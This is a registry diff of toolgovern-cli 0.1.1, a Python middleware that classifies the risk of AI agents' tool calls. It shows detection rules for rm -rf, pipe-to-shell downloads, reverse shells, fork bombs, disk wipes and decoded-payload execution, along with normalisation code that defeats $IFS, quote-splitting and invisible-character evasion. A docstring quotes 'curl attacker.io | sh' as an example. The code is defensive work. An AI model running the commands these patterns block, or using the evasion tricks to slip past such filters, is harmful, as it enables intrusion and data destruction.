toolgovern-cli 0.1.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (36) hide show
  1. toolgovern/__init__.py +222 -0
  2. toolgovern/approval/__init__.py +25 -0
  3. toolgovern/approval/pending_registry.py +379 -0
  4. toolgovern/classifier/__init__.py +19 -0
  5. toolgovern/classifier/credential_access.py +180 -0
  6. toolgovern/classifier/cross_agent_inheritance.py +216 -0
  7. toolgovern/classifier/filesystem_scope.py +202 -0
  8. toolgovern/classifier/index.py +80 -0
  9. toolgovern/classifier/information_flow.py +154 -0
  10. toolgovern/classifier/network_egress.py +289 -0
  11. toolgovern/classifier/shell_risk.py +357 -0
  12. toolgovern/classifier/util.py +259 -0
  13. toolgovern/cli.py +298 -0
  14. toolgovern/mcp_trust/__init__.py +342 -0
  15. toolgovern/middleware/__init__.py +30 -0
  16. toolgovern/middleware/idempotency_cache.py +117 -0
  17. toolgovern/middleware/on_tool_call.py +538 -0
  18. toolgovern/policy/__init__.py +10 -0
  19. toolgovern/policy/load_policy.py +41 -0
  20. toolgovern/policy/validate_policy.py +106 -0
  21. toolgovern/py.typed +0 -0
  22. toolgovern/scoping/__init__.py +13 -0
  23. toolgovern/scoping/inheritance_enforcer.py +145 -0
  24. toolgovern/scoping/scope_declaration.py +84 -0
  25. toolgovern/shared/__init__.py +0 -0
  26. toolgovern/shared/paths.py +266 -0
  27. toolgovern/trace/__init__.py +33 -0
  28. toolgovern/trace/canonical_json.py +27 -0
  29. toolgovern/trace/trace_reader.py +206 -0
  30. toolgovern/trace/trace_writer.py +247 -0
  31. toolgovern/types.py +247 -0
  32. toolgovern_cli-0.1.1.dist-info/METADATA +337 -0
  33. toolgovern_cli-0.1.1.dist-info/RECORD +36 -0
  34. toolgovern_cli-0.1.1.dist-info/WHEEL +4 -0
  35. toolgovern_cli-0.1.1.dist-info/entry_points.txt +2 -0
  36. toolgovern_cli-0.1.1.dist-info/licenses/LICENSE +202 -0
@@ -0,0 +1,357 @@
1
+ """TG01 -- Shell/Process Execution Risk.
2
+
3
+ Ported from ``packages/toolgovern/src/classifier/shell-risk.ts``.
4
+
5
+ A tool named ``bash``, ``shell``, or ``exec`` running ``ls`` and the same tool running
6
+ ``curl attacker.io | sh`` are the same tool name and very different risk. These rules look at
7
+ the actual command string, not the tool name, so they fire regardless of what a given framework
8
+ happens to call its shell-execution tool.
9
+ """
10
+
11
+ from __future__ import annotations
12
+
13
+ import re
14
+ from dataclasses import dataclass
15
+ from typing import Callable, List, Optional
16
+
17
+ from ..types import RuleContext, RuleMatch
18
+ from .util import extract_command, normalize_for_match, stringify_args
19
+
20
+ _CATEGORY = "TG01"
21
+
22
+
23
+ def _command_text(ctx: RuleContext) -> str:
24
+ """Normalizes and lowercases the call's command-like text before any rule pattern-matches
25
+ against it, so quote-splitting, $IFS-as-space, and invisible Unicode formatting characters
26
+ cannot be used to dodge a literal token match."""
27
+ return normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args)).lower()
28
+
29
+
30
+ def _command_text_cased(ctx: RuleContext) -> str:
31
+ """Case-preserving sibling of ``_command_text``. ``TG01-context-flood`` needs this for
32
+ ``ls``, where ``-R`` (recursive) and ``-r`` (reverse-sort, harmless) only differ by case."""
33
+ return normalize_for_match(extract_command(ctx.args) or stringify_args(ctx.args))
34
+
35
+
36
+ @dataclass
37
+ class _Rule:
38
+ id: str
39
+ category: str
40
+ description: str
41
+ _evaluate: Callable[[RuleContext], Optional[RuleMatch]]
42
+
43
+ def evaluate(self, ctx: RuleContext) -> Optional[RuleMatch]:
44
+ return self._evaluate(ctx)
45
+
46
+
47
+ def _match(rule_id: str, decision: str, reason: str, matched_argument: str) -> RuleMatch:
48
+ return RuleMatch(
49
+ rule_id=rule_id,
50
+ category=_CATEGORY, # type: ignore[arg-type]
51
+ decision=decision, # type: ignore[arg-type]
52
+ reason=reason,
53
+ matched_argument=matched_argument,
54
+ )
55
+
56
+
57
+ # Captures the whole `rm` invocation up to the next command separator (;, &, |, newline) or end
58
+ # of string -- a single bounded negated-character-class capture, so no nested quantifiers and no
59
+ # ReDoS exposure (same safety class as the rest of this file's patterns). The captured segment is
60
+ # tokenized and scanned in full below rather than requiring flags to sit in one contiguous run
61
+ # immediately after `rm`: GNU coreutils' getopt permutes argv, so `rm -f /home/victim -r` still
62
+ # executes as `rm -rf /home/victim` even though the `-r` trails the path -- a
63
+ # flags-must-be-contiguous-and-leading regex misses that entirely.
64
+ _RM_SEGMENT_PATTERN = re.compile(r"\brm\s+([^;&|\n]*)", re.IGNORECASE)
65
+
66
+ # Matches both short combined flags (-rf, -fr) and GNU long flags (--recursive, --force) -- the
67
+ # character class already covers hyphens, so a long flag like --recursive (16 chars after the
68
+ # leading -) matches this bound without a separate long-flag alternative.
69
+ _FLAG_TOKEN_PATTERN = re.compile(r"^-[a-z-]{1,18}$")
70
+
71
+
72
+ def _rm_rf_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
73
+ text = _command_text(ctx)
74
+ found = _RM_SEGMENT_PATTERN.search(text)
75
+ if not found:
76
+ return None
77
+ tokens = found.group(1).strip().split()
78
+ has_force = False
79
+ has_recursive = False
80
+ target = ""
81
+ for token in tokens:
82
+ if _FLAG_TOKEN_PATTERN.match(token):
83
+ if "f" in token:
84
+ has_force = True
85
+ if "r" in token:
86
+ has_recursive = True
87
+ continue
88
+ if not target:
89
+ target = token
90
+ if not has_force or not has_recursive:
91
+ return None
92
+ high_blast_radius = bool(re.match(r"^(/|~|\*|\.$|\./\*?$)", target)) or target == ""
93
+ if not high_blast_radius:
94
+ return None
95
+ return _match(
96
+ "TG01-rm-rf",
97
+ "deny",
98
+ "rm -rf (or equivalent) targeting a root/home/wildcard path.",
99
+ found.group(0),
100
+ )
101
+
102
+
103
+ _DECODE_STEP_PATTERN = re.compile(
104
+ r"\b(base64\s+(-d|--decode)\b|openssl\s+(base64|enc)\s+[^|]*-d\b|xxd\s+-r\b|"
105
+ r"certutil\s+-decode\b|python[0-9.]*\s+-c\s*['\"].*b64decode)",
106
+ re.IGNORECASE,
107
+ )
108
+ _FEEDS_EXECUTION_PATTERN = re.compile(
109
+ r"(\|\s*(sudo\s+)?(sh|bash|zsh|python[0-9.]*|perl|node)\b|`|\$\(|\b(sh|bash)\s+-c\b|"
110
+ r"\beval\b|\bexec\b)",
111
+ re.IGNORECASE,
112
+ )
113
+
114
+
115
+ def _decoded_payload_execution_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
116
+ text = _command_text(ctx)
117
+ if not _DECODE_STEP_PATTERN.search(text):
118
+ return None
119
+ if not _FEEDS_EXECUTION_PATTERN.search(text):
120
+ return None
121
+ return _match(
122
+ "TG01-decoded-payload-execution",
123
+ "deny",
124
+ "Decoded payload (base64/hex/etc.) is piped or substituted into a shell/interpreter for execution.",
125
+ text[:200],
126
+ )
127
+
128
+
129
+ _PIPE_TO_SHELL_PATTERN = re.compile(
130
+ r"\b(curl|wget)\b[^|]*\|\s*(sudo\s+)?(sh|bash|zsh|python[0-9.]*|perl|node)\b", re.IGNORECASE
131
+ )
132
+
133
+
134
+ def _pipe_to_shell_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
135
+ text = _command_text(ctx)
136
+ found = _PIPE_TO_SHELL_PATTERN.search(text)
137
+ if not found:
138
+ return None
139
+ return _match(
140
+ "TG01-pipe-to-shell",
141
+ "deny",
142
+ "Pipe-to-shell pattern: remote payload executed without inspection.",
143
+ found.group(0),
144
+ )
145
+
146
+
147
+ _SUDO_PATTERN = re.compile(r"\b(sudo|doas)\s+\S+", re.IGNORECASE)
148
+
149
+
150
+ def _sudo_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
151
+ text = _command_text(ctx)
152
+ found = _SUDO_PATTERN.search(text)
153
+ if not found:
154
+ return None
155
+ return _match(
156
+ "TG01-sudo", "require-approval", "Command escalates privileges via sudo/doas.", found.group(0)
157
+ )
158
+
159
+
160
+ # Same segment-then-tokenize approach as _RM_SEGMENT_PATTERN above, for the same reason: a
161
+ # preceding-flag-group regex ((-[a-z]+\s+)?) fails to match GNU long flags like --recursive (the
162
+ # second character is -, not a-z), which makes the *entire* match fail rather than just the flag
163
+ # capture -- `chmod --recursive 777 /path` matched nothing at all under the old pattern. Scanning
164
+ # every token in the segment means flag form/position/count no longer matter; only whether a
165
+ # dangerous permission argument appears anywhere in the command.
166
+ _CHMOD_SEGMENT_PATTERN = re.compile(r"\bchmod\s+([^;&|\n]*)", re.IGNORECASE)
167
+ _CHMOD_DANGEROUS_PERMISSION_PATTERN = re.compile(r"^(777|a\+rwx|o\+w|0777)$", re.IGNORECASE)
168
+
169
+
170
+ def _chmod_777_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
171
+ text = _command_text(ctx)
172
+ found = _CHMOD_SEGMENT_PATTERN.search(text)
173
+ if not found:
174
+ return None
175
+ tokens = found.group(1).strip().split()
176
+ dangerous = next((t for t in tokens if _CHMOD_DANGEROUS_PERMISSION_PATTERN.match(t)), None)
177
+ if not dangerous:
178
+ return None
179
+ return _match(
180
+ "TG01-chmod-777",
181
+ "deny",
182
+ "chmod grants world-writable or world-executable permissions.",
183
+ found.group(0),
184
+ )
185
+
186
+
187
+ _FORK_BOMB_PATTERN = re.compile(r":\s*\(\s*\)\s*\{\s*:\s*\|\s*:\s*&?\s*\}\s*;\s*:")
188
+
189
+
190
+ def _fork_bomb_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
191
+ text = _command_text(ctx)
192
+ found = _FORK_BOMB_PATTERN.search(text)
193
+ if not found:
194
+ return None
195
+ return _match(
196
+ "TG01-fork-bomb", "deny", "Fork-bomb pattern -- unbounded process spawning.", found.group(0)
197
+ )
198
+
199
+
200
+ _REVERSE_SHELL_PATTERN = re.compile(
201
+ r"(nc\s+-e\s+\S+|/dev/tcp/\S+|bash\s+-i\s*>&\s*/dev/tcp)", re.IGNORECASE
202
+ )
203
+
204
+
205
+ def _reverse_shell_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
206
+ text = _command_text(ctx)
207
+ found = _REVERSE_SHELL_PATTERN.search(text)
208
+ if not found:
209
+ return None
210
+ return _match(
211
+ "TG01-reverse-shell",
212
+ "deny",
213
+ "Reverse-shell / raw TCP socket redirection pattern.",
214
+ found.group(0),
215
+ )
216
+
217
+
218
+ _DISK_WIPE_PATTERN = re.compile(
219
+ r"\b(mkfs(\.\w+)?\s+/dev/|dd\s+[^|]*of=/dev/(sd|hd|nvme|disk)\w*)", re.IGNORECASE
220
+ )
221
+
222
+
223
+ def _disk_wipe_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
224
+ text = _command_text(ctx)
225
+ found = _DISK_WIPE_PATTERN.search(text)
226
+ if not found:
227
+ return None
228
+ return _match(
229
+ "TG01-disk-wipe", "deny", "Direct write/format targeting a raw block device.", found.group(0)
230
+ )
231
+
232
+
233
+ # A bare ~, *, or the current directory (., ./, ./*) -- the same "no real scope" shape
234
+ # TG01-rm-rf's high_blast_radius check treats as high-risk. An empty string (no path argument
235
+ # captured at all) counts the same way: there is nothing bounding how much output comes back.
236
+ #
237
+ # Absolute paths are handled separately below by depth rather than by a bare "starts with /"
238
+ # check: unlike rm -rf, where any leading / is a reasonable danger proxy, a deep, specific
239
+ # absolute path is exactly the pattern well-behaved coding agents are expected to use and must
240
+ # not be flagged just because it's absolute.
241
+ def _is_unscoped_path(target: str) -> bool:
242
+ if target == "":
243
+ return True
244
+ if re.match(r"^(~|\*|\.$|\./\*?$)", target):
245
+ return True
246
+ if target.startswith("/"):
247
+ # Root or shallow (<=2 segments after stripping the leading /) is still broad enough to
248
+ # enumerate a huge fraction of the filesystem. 3+ segments is specific enough to be a
249
+ # genuinely scoped target and is not flagged.
250
+ segments = [s for s in target.split("/") if s]
251
+ return len(segments) <= 2
252
+ return False
253
+
254
+
255
+ # Flag tokens are bounded and \s+-separated for the same ReDoS-avoidance reason as RM_PATTERN
256
+ # above. Group 1 is the flag cluster, group 2 (optional) is the path argument immediately
257
+ # following it.
258
+ _LS_PATTERN = re.compile(r"\bls\s+((?:-[a-z-]{1,16}\s+)*-[a-z-]{1,16})(?:\s+(\S+))?", re.IGNORECASE)
259
+
260
+ # find's first positional argument is conventionally its search root. This is a regex-level
261
+ # approximation, not real argv parsing -- a leading option before the path (find -L / ...) will
262
+ # not be captured as the target and this rule will simply miss it, consistent with this file's
263
+ # existing "false negative over false positive" bias.
264
+ _FIND_PATTERN = re.compile(r"\bfind\s+(\S+)", re.IGNORECASE)
265
+ _FIND_MAXDEPTH_PATTERN = re.compile(r"-maxdepth\s+\d+", re.IGNORECASE)
266
+
267
+ # Group 1 is the flag cluster -- -[a-z-]{1,20} already matches --recursive (the class includes
268
+ # the hyphen, so the second leading dash is consumed by it too), so no separate long-flag
269
+ # alternative is needed. The first non-capturing group consumes the search pattern (quoted or
270
+ # bare); group 2 (optional) is the path argument that follows it.
271
+ _GREP_RECURSIVE_PATTERN = re.compile(
272
+ r"\bgrep\s+((?:-[a-z-]{1,20}\s+)*-[a-z-]{1,20})\s+(?:\"[^\"]*\"|'[^']*'|\S+)(?:\s+(\S+))?",
273
+ re.IGNORECASE,
274
+ )
275
+
276
+ # A ** globstar segment anywhere in a cat target -- a single-level glob (cat *.log) is common
277
+ # and usually bounded by directory size; a recursive globstar has no such bound.
278
+ _CAT_GLOBSTAR_PATTERN = re.compile(r"\bcat\s+\S*\*\*\S*", re.IGNORECASE)
279
+
280
+
281
+ def _context_flood_evaluate(ctx: RuleContext) -> Optional[RuleMatch]:
282
+ cased = _command_text_cased(ctx)
283
+
284
+ ls_found = _LS_PATTERN.search(cased)
285
+ if ls_found:
286
+ flags = ls_found.group(1) or ""
287
+ target = ls_found.group(2) or ""
288
+ # -R (capital) is recursive; -r (lowercase) is reverse-sort order and harmless here --
289
+ # this is exactly why this check runs against the case-preserving `cased` text.
290
+ if "R" in flags and _is_unscoped_path(target):
291
+ return _match(
292
+ "TG01-context-flood",
293
+ "require-approval",
294
+ "Recursive `ls -R` with no scoped path -- can dump an unbounded directory tree into context.",
295
+ ls_found.group(0),
296
+ )
297
+
298
+ find_found = _FIND_PATTERN.search(cased)
299
+ if (
300
+ find_found
301
+ and not _FIND_MAXDEPTH_PATTERN.search(cased)
302
+ and _is_unscoped_path(find_found.group(1) or "")
303
+ ):
304
+ return _match(
305
+ "TG01-context-flood",
306
+ "require-approval",
307
+ "`find` over an unscoped root with no -maxdepth -- can enumerate an unbounded number of results.",
308
+ find_found.group(0),
309
+ )
310
+
311
+ grep_found = _GREP_RECURSIVE_PATTERN.search(cased)
312
+ if grep_found:
313
+ flags = grep_found.group(1) or ""
314
+ target = grep_found.group(2) or ""
315
+ # Unlike ls, grep's -r and -R are both recursive (no reverse-sort ambiguity), so a
316
+ # plain case-insensitive check for the letter r in the flag cluster is enough.
317
+ if re.search("r", flags, re.IGNORECASE) and _is_unscoped_path(target):
318
+ return _match(
319
+ "TG01-context-flood",
320
+ "require-approval",
321
+ "Recursive `grep -r`/`-R` with no scoped path -- can flood context with matches from an entire filesystem tree.",
322
+ grep_found.group(0),
323
+ )
324
+
325
+ cat_found = _CAT_GLOBSTAR_PATTERN.search(cased)
326
+ if cat_found:
327
+ return _match(
328
+ "TG01-context-flood",
329
+ "require-approval",
330
+ "`cat` over a recursive globstar -- can concatenate an unbounded number of files into context.",
331
+ cat_found.group(0),
332
+ )
333
+
334
+ return None
335
+
336
+
337
+ shell_risk_rules: List[_Rule] = [
338
+ _Rule("TG01-rm-rf", _CATEGORY, "Recursive/forced delete of a root, home, or wildcard-rooted path.", _rm_rf_evaluate),
339
+ _Rule("TG01-pipe-to-shell", _CATEGORY, "A download (curl/wget) piped directly into a shell or interpreter.", _pipe_to_shell_evaluate),
340
+ _Rule("TG01-sudo", _CATEGORY, "Privilege escalation via sudo/doas.", _sudo_evaluate),
341
+ _Rule("TG01-chmod-777", _CATEGORY, "World-writable/executable permission grant.", _chmod_777_evaluate),
342
+ _Rule("TG01-fork-bomb", _CATEGORY, "Classic shell fork-bomb pattern.", _fork_bomb_evaluate),
343
+ _Rule("TG01-reverse-shell", _CATEGORY, "Reverse-shell / raw TCP redirection patterns.", _reverse_shell_evaluate),
344
+ _Rule("TG01-disk-wipe", _CATEGORY, "Direct disk/block-device overwrite.", _disk_wipe_evaluate),
345
+ _Rule(
346
+ "TG01-decoded-payload-execution",
347
+ _CATEGORY,
348
+ "A base64/hex-decoded (or similarly obfuscated) payload is fed into a shell or interpreter for execution, without a literal curl/wget token for TG01-pipe-to-shell to match.",
349
+ _decoded_payload_execution_evaluate,
350
+ ),
351
+ _Rule(
352
+ "TG01-context-flood",
353
+ _CATEGORY,
354
+ "Read-only, high-output-volume command (unscoped recursive listing/search/concatenation) that risks flooding the agent context window rather than a security breach.",
355
+ _context_flood_evaluate,
356
+ ),
357
+ ]
@@ -0,0 +1,259 @@
1
+ """Shared argument-extraction helpers for rule implementations.
2
+
3
+ Ported from ``packages/toolgovern/src/classifier/util.ts``.
4
+
5
+ Real tool-call argument shapes vary a lot across frameworks -- a shell tool might name its
6
+ argument ``command``, ``cmd``, or ``script``. Rather than force every framework to normalize to
7
+ one schema before toolgovern can evaluate a call, each rule looks for a small set of common key
8
+ names and falls back to scanning the stringified argument bag. This is deliberately permissive
9
+ (a false negative here is worse than a rare false positive from the string fallback).
10
+ """
11
+
12
+ from __future__ import annotations
13
+
14
+ import re
15
+ import unicodedata
16
+ from typing import Any, List, Mapping, Optional, Sequence
17
+
18
+ from ..shared.paths import (
19
+ contains_path_traversal as contains_path_traversal,
20
+ is_ip_literal as is_ip_literal,
21
+ is_path_within as is_path_within,
22
+ is_private_or_metadata_target as is_private_or_metadata_target,
23
+ normalize_host as normalize_host,
24
+ normalize_path as normalize_path,
25
+ )
26
+
27
+ _COMMAND_KEYS = ["command", "cmd", "script", "shell", "code"]
28
+ _PATH_KEYS = ["path", "target", "dest", "destination", "file", "filepath", "file_path"]
29
+ _OPERATION_KEYS = ["operation", "op", "action", "mode"]
30
+ _HOST_KEYS = ["host", "hostname", "url", "uri", "endpoint", "address"]
31
+ _CREDENTIAL_KEYS = ["credential", "secret", "secretName", "credentialId"]
32
+
33
+
34
+ def _first_string(args: Mapping[str, Any], keys: Sequence[str]) -> Optional[str]:
35
+ for key in keys:
36
+ value = args.get(key)
37
+ if isinstance(value, str) and len(value) > 0:
38
+ return value
39
+ return None
40
+
41
+
42
+ def extract_command(args: Mapping[str, Any]) -> Optional[str]:
43
+ """Extracts a shell-command-like string from common argument key names."""
44
+ return _first_string(args, _COMMAND_KEYS)
45
+
46
+
47
+ def extract_code_text(args: Mapping[str, Any]) -> Optional[str]:
48
+ """Extracts the raw ``code`` string argument a code-execution tool was invoked with, if any."""
49
+ value = args.get("code")
50
+ return value if isinstance(value, str) and len(value) > 0 else None
51
+
52
+
53
+ _CODE_FILE_CALL_PATTERN = re.compile(
54
+ r"\b(?:open|readfile|readfilesync|writefile|writefilesync|unlink|unlinksync|rmsync|"
55
+ r"rmdirsync|chmod|chown|chmodsync|chownsync|os\.remove|os\.unlink|os\.rmdir|os\.chmod|"
56
+ r"os\.chown|fs\.chmod|fs\.chown|shutil\.rmtree|shutil\.copy\w*)\s*\(\s*[\"']([^\"']+)[\"']",
57
+ re.IGNORECASE,
58
+ )
59
+ _CODE_BARE_PATH_PATTERN = re.compile(r"[\"'`]((?:\.\./)+[^\"'`]*|/(?:[\w.-]+/)*[\w.-]+)[\"'`]")
60
+
61
+
62
+ def extract_path_from_code(code: str) -> Optional[str]:
63
+ """Scans a code-execution tool's ``code`` string for a path-like literal."""
64
+ call_match = _CODE_FILE_CALL_PATTERN.search(code)
65
+ if call_match and call_match.group(1):
66
+ return call_match.group(1)
67
+ bare_match = _CODE_BARE_PATH_PATTERN.search(code)
68
+ if bare_match and bare_match.group(1):
69
+ return bare_match.group(1)
70
+ return None
71
+
72
+
73
+ _CODE_DELETE_PATTERN = re.compile(
74
+ r"\b(?:os\.remove|os\.unlink|os\.rmdir|shutil\.rmtree|fs\.unlink|fs\.unlinksync|fs\.rm|"
75
+ r"fs\.rmsync|fs\.rmdir|fs\.rmdirsync|unlinksync|rmsync|rmdirsync)\s*\(",
76
+ re.IGNORECASE,
77
+ )
78
+ _CODE_CHMOD_PATTERN = re.compile(
79
+ r"\b(?:os\.chmod|os\.chown|fs\.chmod|fs\.chmodsync|fs\.chown|fs\.chownsync|chmodsync|"
80
+ r"chownsync)\s*\(",
81
+ re.IGNORECASE,
82
+ )
83
+ _CODE_WRITE_CALL_PATTERN = re.compile(
84
+ r"\b(?:writefile|writefilesync|fs\.writefile|fs\.writefilesync|os\.write)\s*\(",
85
+ re.IGNORECASE,
86
+ )
87
+ _CODE_OPEN_WRITE_MODE_PATTERN = re.compile(
88
+ r"\bopen\s*\([^)]*?,\s*[\"'](\w*[wax]\w*)[\"']", re.IGNORECASE
89
+ )
90
+
91
+
92
+ def extract_operation_from_code(code: str) -> Optional[str]:
93
+ """Infers a write/delete/chmod operation from a code string's recognized call shapes."""
94
+ if _CODE_DELETE_PATTERN.search(code):
95
+ return "delete"
96
+ if _CODE_CHMOD_PATTERN.search(code):
97
+ return "chmod"
98
+ if _CODE_WRITE_CALL_PATTERN.search(code) or _CODE_OPEN_WRITE_MODE_PATTERN.search(code):
99
+ return "write"
100
+ return None
101
+
102
+
103
+ def extract_path(args: Mapping[str, Any]) -> Optional[str]:
104
+ """Extracts a filesystem-path-like string from common argument key names, falling back to
105
+ scanning a ``code`` string argument when no path/target/dest-style key is present."""
106
+ direct = _first_string(args, _PATH_KEYS)
107
+ if direct:
108
+ return direct
109
+ code = extract_code_text(args)
110
+ return extract_path_from_code(code) if code else None
111
+
112
+
113
+ def extract_operation(args: Mapping[str, Any]) -> Optional[str]:
114
+ """Extracts a declared filesystem operation (read/write/delete/chmod/...) if the tool
115
+ provides one, falling back to inferring one from a ``code`` string argument."""
116
+ direct = _first_string(args, _OPERATION_KEYS)
117
+ if direct:
118
+ return direct.lower()
119
+ code = extract_code_text(args)
120
+ return extract_operation_from_code(code) if code else None
121
+
122
+
123
+ def extract_host(args: Mapping[str, Any]) -> Optional[str]:
124
+ """Extracts a network host/URL-like string from common argument key names."""
125
+ return _first_string(args, _HOST_KEYS)
126
+
127
+
128
+ def extract_credential_name(args: Mapping[str, Any]) -> Optional[str]:
129
+ """Extracts a declared credential identifier from common argument key names."""
130
+ return _first_string(args, _CREDENTIAL_KEYS)
131
+
132
+
133
+ def stringify_args(args: Mapping[str, Any]) -> str:
134
+ """Flattens every string value in the argument bag into one lowercase blob, used as a
135
+ fallback scan target for pattern rules when no known key name matches."""
136
+ parts: List[str] = []
137
+ for value in args.values():
138
+ if isinstance(value, str):
139
+ parts.append(value)
140
+ elif value is not None and not isinstance(value, (dict, list)):
141
+ parts.append(str(value))
142
+ return " ".join(parts).lower()
143
+
144
+
145
+ # Zero-width, bidi-control, and other invisible-format Unicode characters sometimes inserted
146
+ # mid-token to break a literal-substring or \b word-boundary match (e.g. "sudo" with a
147
+ # zero-width space spliced in). Stripped before pattern matching, never before execution.
148
+ # Built from \uXXXX escape sequences (text in this source file, not a pasted glyph) so no
149
+ # literal invisible/control character ever lives in this file, and compiled once into a single
150
+ # regex -- an earlier version of this function did the equivalent check with a pure-Python
151
+ # per-character loop, which was roughly 1000x slower on large inputs (a governance middleware
152
+ # that gates every tool call synchronously cannot afford tens of milliseconds per call just to
153
+ # strip formatting characters). Ranges: U+00AD soft hyphen, U+200B-200F zero-width
154
+ # space/joiners/marks, U+202A-202E bidi embedding/override controls, U+2060-2064 word
155
+ # joiner/invisible operators, U+FEFF BOM.
156
+ _INVISIBLE_FORMAT_CHARS = re.compile(
157
+ "[\u00AD\u200B-\u200F\u202A-\u202E\u2060-\u2064\uFEFF]"
158
+ )
159
+
160
+
161
+ def _strip_invisible_format_chars(text: str) -> str:
162
+ return _INVISIBLE_FORMAT_CHARS.sub("", text)
163
+
164
+ # $IFS / ${IFS} (optionally with a positional-parameter suffix like $9) is a well-known shell
165
+ # field-separator substitution attackers use in place of a literal space specifically to dodge
166
+ # whitespace-based pattern matching, without changing what the shell actually executes.
167
+ _IFS_SEPARATOR = re.compile(r"\$\{?IFS\}?(\$\d+)?", re.IGNORECASE)
168
+
169
+
170
+ def _collapse_empty_quote_pairs(text: str) -> str:
171
+ """An adjacent pair of matching quote characters ('' or "") contributes nothing to what a
172
+ POSIX shell actually runs, but it does break a naive literal-substring match. Collapsed
173
+ here, repeatedly, so stacked pairs are fully removed."""
174
+ current = text
175
+ previous = None
176
+ while current != previous:
177
+ previous = current
178
+ current = re.sub(r"(['\"])\1", "", current)
179
+ return current
180
+
181
+
182
+ def normalize_for_match(text: str) -> str:
183
+ """Normalizes free-form command/argument text before it is matched against a classifier
184
+ pattern. Does not change what actually gets executed -- it only closes the gap between
185
+ "what the shell will run" and "what a literal regex sees" for a handful of well-known
186
+ obfuscation tricks: Unicode confusables/invisible characters, $IFS-as-space substitution,
187
+ and empty-quote-pair token splitting (cu''rl, r""m)."""
188
+ normalized = unicodedata.normalize("NFKC", text)
189
+ normalized = _strip_invisible_format_chars(normalized)
190
+ normalized = _IFS_SEPARATOR.sub(" ", normalized)
191
+ normalized = _collapse_empty_quote_pairs(normalized)
192
+ normalized = re.sub(r"\\([A-Za-z0-9])", r"\1", normalized)
193
+ return normalized
194
+
195
+
196
+ # Maximum object/array nesting depth find_nested_host will descend into. Bounds the search
197
+ # against pathological or absurdly nested argument payloads.
198
+ _MAX_HOST_SEARCH_DEPTH = 8
199
+
200
+
201
+ def _find_nested_host(value: Any, depth: int = 0) -> Optional[str]:
202
+ """Depth-first search for the first HOST_KEYS-named string value anywhere inside a nested
203
+ argument bag, so a host/URL buried inside a nested payload is still found."""
204
+ if value is None or depth > _MAX_HOST_SEARCH_DEPTH:
205
+ return None
206
+
207
+ if isinstance(value, list):
208
+ for item in value:
209
+ found = _find_nested_host(item, depth + 1)
210
+ if found:
211
+ return found
212
+ return None
213
+
214
+ if isinstance(value, dict):
215
+ direct = _first_string(value, _HOST_KEYS)
216
+ if direct:
217
+ return direct
218
+ for nested in value.values():
219
+ if isinstance(nested, (dict, list)):
220
+ found = _find_nested_host(nested, depth + 1)
221
+ if found:
222
+ return found
223
+
224
+ return None
225
+
226
+
227
+ _URL_PATTERN = re.compile(r"https?://[^\s\"'|]+", re.IGNORECASE)
228
+
229
+
230
+ def extract_candidate_host(args: Mapping[str, Any]) -> Optional[str]:
231
+ """Pulls a candidate network host out of an explicit host/url argument -- checked at the
232
+ top level first, then recursively through nested objects/arrays -- or otherwise scans a
233
+ shell-command-like string for the first http(s):// URL. Returns a normalized hostname."""
234
+ explicit = extract_host(args) or _find_nested_host(args)
235
+ if explicit:
236
+ return normalize_host(normalize_for_match(explicit))
237
+
238
+ command = normalize_for_match(extract_command(args) or stringify_args(args))
239
+ url_match = _URL_PATTERN.search(command)
240
+ if url_match:
241
+ return normalize_host(url_match.group(0))
242
+ return None
243
+
244
+
245
+ def extract_credential_identifier(args: Mapping[str, Any]) -> Optional[str]:
246
+ """Extracts whichever resource identifier a credential-scoped call is targeting -- an
247
+ explicit credential/secret name if the tool provides one, otherwise the filesystem path."""
248
+ return extract_credential_name(args) or extract_path(args)
249
+
250
+
251
+ def is_credential_granted(identifier: str, credentials: Sequence[str]) -> bool:
252
+ """Whether ``identifier`` (a path or a named credential) matches an entry in
253
+ ``credentials`` -- exact match, a trailing path segment match, or a substring match."""
254
+ lower = identifier.lower()
255
+ for granted in credentials:
256
+ g = granted.lower()
257
+ if lower == g or lower.endswith(f"/{g}") or g in lower:
258
+ return True
259
+ return False